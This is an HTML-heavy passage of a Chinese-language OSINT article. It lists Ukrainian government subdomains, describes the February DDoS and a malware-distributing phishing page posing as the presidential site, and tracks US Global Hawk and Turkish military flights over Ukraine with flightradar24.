7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://zt.gov.ua" target="_blank">http://zt.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://mtu.gov.ua" target="_blank">http://mtu.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cg.mvs.gov.ua" target="_blank">http://cg.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cg.mvs.gov.ua" target="_blank">http://cg.mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://ch-tmo.mvs.gov.ua" target="_blank">http://ch-tmo.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cp.mvs.gov.ua" target="_blank">http://cp.mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cp.mvs.gov.ua" target="_blank">http://cp.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cpd.mvs.gov.ua" target="_blank">http://cpd.mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://cpd.mvs.gov.ua" target="_blank">http://cpd.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dndekc.mvs.gov.ua" target="_blank">http://dndekc.mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://hutirvilnij-mrc.mvs.gov.ua" target="_blank">http://hutirvilnij-mrc.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://visnyk.dndekc.mvs.gov.ua" target="_blank">http://visnyk.dndekc.mvs.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://wanted.mvs.gov.ua" target="_blank">http://wanted.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://dpvs.hsc.gov.ua" target="_blank">http://dpvs.hsc.gov.ua</a></span></p></td></tr><tr><td width="293" style="padding: 0px 7px;"><p style="font-family: 0 0 0 28px;text-align: justify;line-height: 21px;font-size: 14px;font-family: 宋体;"><span style="line-height: 21px;font-family: Wingdings;">Ø<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 9px;line-height: normal;">  </span></span><span style="line-height: 21px;"><a href="http://odk.mvs.gov.ua" target="_blank">http://odk.mvs.gov.ua</a></span></p></td><td width="283" style="padding: 0px 7px;"><br/></td></tr></tbody></table><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><h1 style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;margin-right: auto;margin-left: auto;text-align: center;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于开源情报攻击事件调查</strong></span></section></h1><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="font-size: 14px;line-height: 24px;font-family: 宋体;">2月23日，在俄罗斯总统普京承认顿涅茨克人民共和国和卢甘斯克人民共和国独立性两天后，多数乌克兰政府机构的网站遭到DDOS攻击。截至基辅时间16时30分，乌克兰议会、外交部、部长会议网站（包括所有个别部长网站）和乌克兰安全局网站均无法访问（乌克兰议会网站），在当地时间大约 17:10 重新上线，大多数其他网站在攻击后两小时内上线，乌克兰总统办公室的网站未遭到攻击。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">在此期间乌克兰总统网站出现了一个钓鱼网站，该网站包含一个可点击的“支持总统”活动，一旦点击该活动，就会将恶意软件包下载到用户的计算机上。该活动为邀请访客“支持总统先生”，没收所有寡头的财产并与所有公民共享。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6178861788617886" data-s="300,640" style="" data-type="png" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=232318e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGPU6Pjqh5iataibNmVIrWQgGRJ9xe2E0asrafeUsFK69fyTnM2ekc5PfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">一个黄色的大按钮鼓励游客点击并签署一份请愿书，大概是为了支持这种国有化运动。邀请函的文本是用乌克兰语写的，虽然语法正确，但其语言风格为<strong>不流利的乌克兰语</strong>，经分析该网站的域名与2021年<strong>俄罗斯军事情报 (GRU) </strong>黑客部门攻击使用的域名为同一个。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6328125" data-s="300,640" style="" data-type="png" data-w="768" src="https://wechat2rss.xlab.app/img-proxy/?k=6e8cfd4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGibF9uia7QOtNpbSm4QMwn3DpqpKiaN0QzyBrVRyibas7dIG5PaZaial4yWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">假设向数万或数十万乌克兰人部署特洛伊木马，会对乌克兰的互联网基础设施造成无法估量的损害，另一个假设结果可能与制造政治混乱和不稳定有关：诱饵信息没收所有寡头的财产与泽连斯基总统自己关于“乌克兰去寡头化”的政治信息相吻合。但是没收和再分配比泽连斯基公开支持的任何事情都要激进得多，这种提议的广泛传播可能会导致乌克兰社会的分裂和进一步的两极分化。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;"><br/></span></p><h1 style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;margin-right: auto;margin-left: auto;text-align: center;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于航班追踪的开源情报收集</strong></span></section></h1><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">对于开源情报调查人员来说，航班追踪是一种有用的工具，航班追踪能够追踪属于有特权的私人飞机和武装部队飞机与民用航空的运动，可以为事件调查增加重要的细节。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">在了解航班追踪之前，了解一些术语很重要。下面是术语表：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">呼号：呼号是飞机在飞行过程中使用的标识符。虽然私人飞机可能会使用其注册号作为呼号，但商业航班的呼号往往取决于航线。</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">注册编号：相当于汽车的车牌。每当一架飞机在某个管辖区注册时，它都会被分配一个注册编号。注册通常位于飞机尾部附近。飞机在哪个国家注册将部分决定其注册编号。</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">制造商序列号 (MSN)：MSN 是分配给工厂车间每架飞机的唯一编号。如果注册是您的汽车牌照的航空等价物，那么 MSN 就像汽车制造商分配给汽车的车辆识别号。与呼号和注册不同，飞机的 MSN 不能更改。</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">ADS-B：ADS-B 代表“自动相关监视——广播”。正是这项技术允许开源调查人员和爱好者在网站上跟踪航班。</span></code></pre></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">下面我们就以flightradar24.com为例对乌克兰上空的飞机进行追踪。</span></p><p style="font-family: 8px 0;text-indent: 32px;line-height: 21px;font-size: 14px;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">1.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;">  </span>协调世界时（UTC）2月18日5点30分，乌克兰领空存在11架飞行器，相比邻国飞机较少。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6526610644257703" data-s="300,640" style="" data-type="png" data-w="714" src="https://wechat2rss.xlab.app/img-proxy/?k=7237df3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGMY779eFcAMjj4WA9Ynh42qOyxHX4nJarw82jDGqD9ic02NW7hCLFASw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">点击飞行器可以查看航班详情与飞行轨迹，经统计有四个航班为乌克兰国内航班，有六个国外航班。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6963788300835655" data-s="300,640" style="" data-type="png" data-w="718" src="https://wechat2rss.xlab.app/img-proxy/?k=6c95e8de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGe0XYjTQasPbIbFxib8NemcFYJvftyAwGu6YRmsTPW9OVw0YVkWqANbg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">还有一个编号为SWIFT22的未知飞行器在进行巡逻飞行，据知情人士透露SWIFT22为美军生产的全球鹰无人机。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.713091922005571" data-s="300,640" style="" data-type="png" data-w="718" src="https://wechat2rss.xlab.app/img-proxy/?k=5176aa57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGYibtTLniaEFfqBoIWus2Q4miac3O8A3IQDWdD5WH47OI0Hu8ppNCTDKibA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">2.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月19日5点30分，乌克兰领空存在12架飞行器，点击飞行器可以查看航班详情与飞行轨迹，经统计有七个航班为乌克兰国内航班，有四个国外航班。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7218934911242604" data-s="300,640" style="" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=bca2f609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGiaHO7icicbBPu9ZOpAH0Osld2HfY5SKWibkEoNdXaMH7wz34NlQ0vXhWpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">还有一个编号为FORTE10的美军飞行器（United States - US Air Force (USAF)）飞机型号为Northrop Grumman RQ-4B Global Hawk从地中海某处空军基地起飞飞入乌克兰领空进行巡逻侦查。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7357954545454546" data-s="300,640" style="" data-type="png" data-w="704" src="https://wechat2rss.xlab.app/img-proxy/?k=e976615a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGJxPm30dGkiakg8rTeoFJkCWP55BzEUwGbPY6QtDeKLA4iaDt5Dw8ZicKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.5357142857142858" data-s="300,640" style="" data-type="png" data-w="336" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec89cb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPG2w6yAcMoD88858lXL5cickSLISbzE9yBMQNX7arjpxicyCAkneV5wzgg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">3.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月20日5点30分，乌克兰领空存在14架飞行器。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7" data-s="300,640" style="" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=01c2730f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGJMr0evBzucTDegbibPwg8Ing835Xrl9Jn7a8AUiay8Jic8yzVDmQCLMkA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">4.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月21日5点30分，乌克兰领空存在10架飞行器。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7016129032258065" data-s="300,640" style="" data-type="png" data-w="744" src="https://wechat2rss.xlab.app/img-proxy/?k=03374bd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGDHlDibT411VI9BaayoILwU17aI9ejmkyax7mhgjPL7YLWkA7mYUzLiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">5.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月22日5点30分，乌克兰领空存在8架飞行器，均为乌克兰国内航空，已无外国航空在乌克兰领空，大部分国外航空选择绕道飞行。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5951807228915663" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=7f43e013&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPG1Ds9r6Zj0IVVau7Tvj72kgMQiaRxyXTnSJopMj9ugNicRPsbL0X0WsDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">6.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月23日5点30分，乌克兰领空存在11架飞行器。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6481927710843374" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=c6e2bb1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPG3js99mGSXicH5F5RLunm7PaKdQyW5MA11ZlPHicJjExvic4yGIiaibdzlcw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;line-height: 24px;">7.<span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;font-family: &#34;Times New Roman&#34;;">  </span>协调世界时（UTC）2月23日2点15分乌克兰领空已无民用航空，在首都基辅有一架属于土耳其军用运输机编号TUAF600 型号为Airbus A400M-180，还有一个编号为FORTE12的美军飞行器（United States - US Air Force (USAF)）飞机型号为Northrop Grumman RQ-4B Global Hawk从地中海某处空军基地起飞飞入乌克兰领空进行巡逻侦查。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.763855421686747" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=d334807a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGhnYaDaC7M2Jn0UwycxY4JOwmDGibYJkNWqEB2J92lVD3KVYuHIgpmvA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.572289156626506" data-s="300,640" style="" data-type="png" data-w="332" src="https://wechat2rss.xlab.app/img-proxy/?k=32fd20ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGWlkN2ktgyVZR0GjmgqPXNibGAj7oHU7UcLjZk5w2ibjqkcAoKs3erOhQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6987951807228916" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=58380bb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGM5Lp0dfmoadiaxhn1vweYoGujRenUlb0163QErkb3BJPco1eZfrjOtg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="margin: 6pt 0cm;text-indent: 24pt;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2674698795180723" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=8f870e1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibZs2v6Y4NkFVELVIQIpMPGXxRYeDpRx1Tp8zmeicpW9MMg9B9W1XlycjhUiathTibcTV8CCgKJmSV9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:center;margin: 0cm 0cm 0cm 42pt;text-indent: 0cm;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 12px;">时间线</span></p><p style="text-align:center;margin: 0cm 0cm 0cm 42pt;text-indent: 0cm;line-height: 21px;font-size: 10.5pt;font-family: 宋体;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 12px;"><br/></span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">从上述18日至24日的航班追踪情况来看，自乌俄冲突以来，国际大部分航班选择避开乌克兰领空飞行，只有少部分始发乌克兰的航班不得已在乌克兰领空飞行。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;">从19日以来美国空军全球鹰无人机都在乌克兰上空进行间接性高空侦察，在24日武装冲突前夕美国空军全球鹰无人机更是进行全境的侦查以判断战争态势，土耳其空军的运输武装冲突前夕抵达乌克兰首都基辅，疑似为乌克兰提供战备物资。</span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;"><br/></span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 32px;line-height: 21px;"><span style="line-height: 24px;font-family: 宋体;font-size: 14px;"><br/></span></p><h1 style="outline: 0px;max-width: 100%;visibility: visible;font-size: 18px;margin-right: auto;margin-left: auto;text-align: center;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 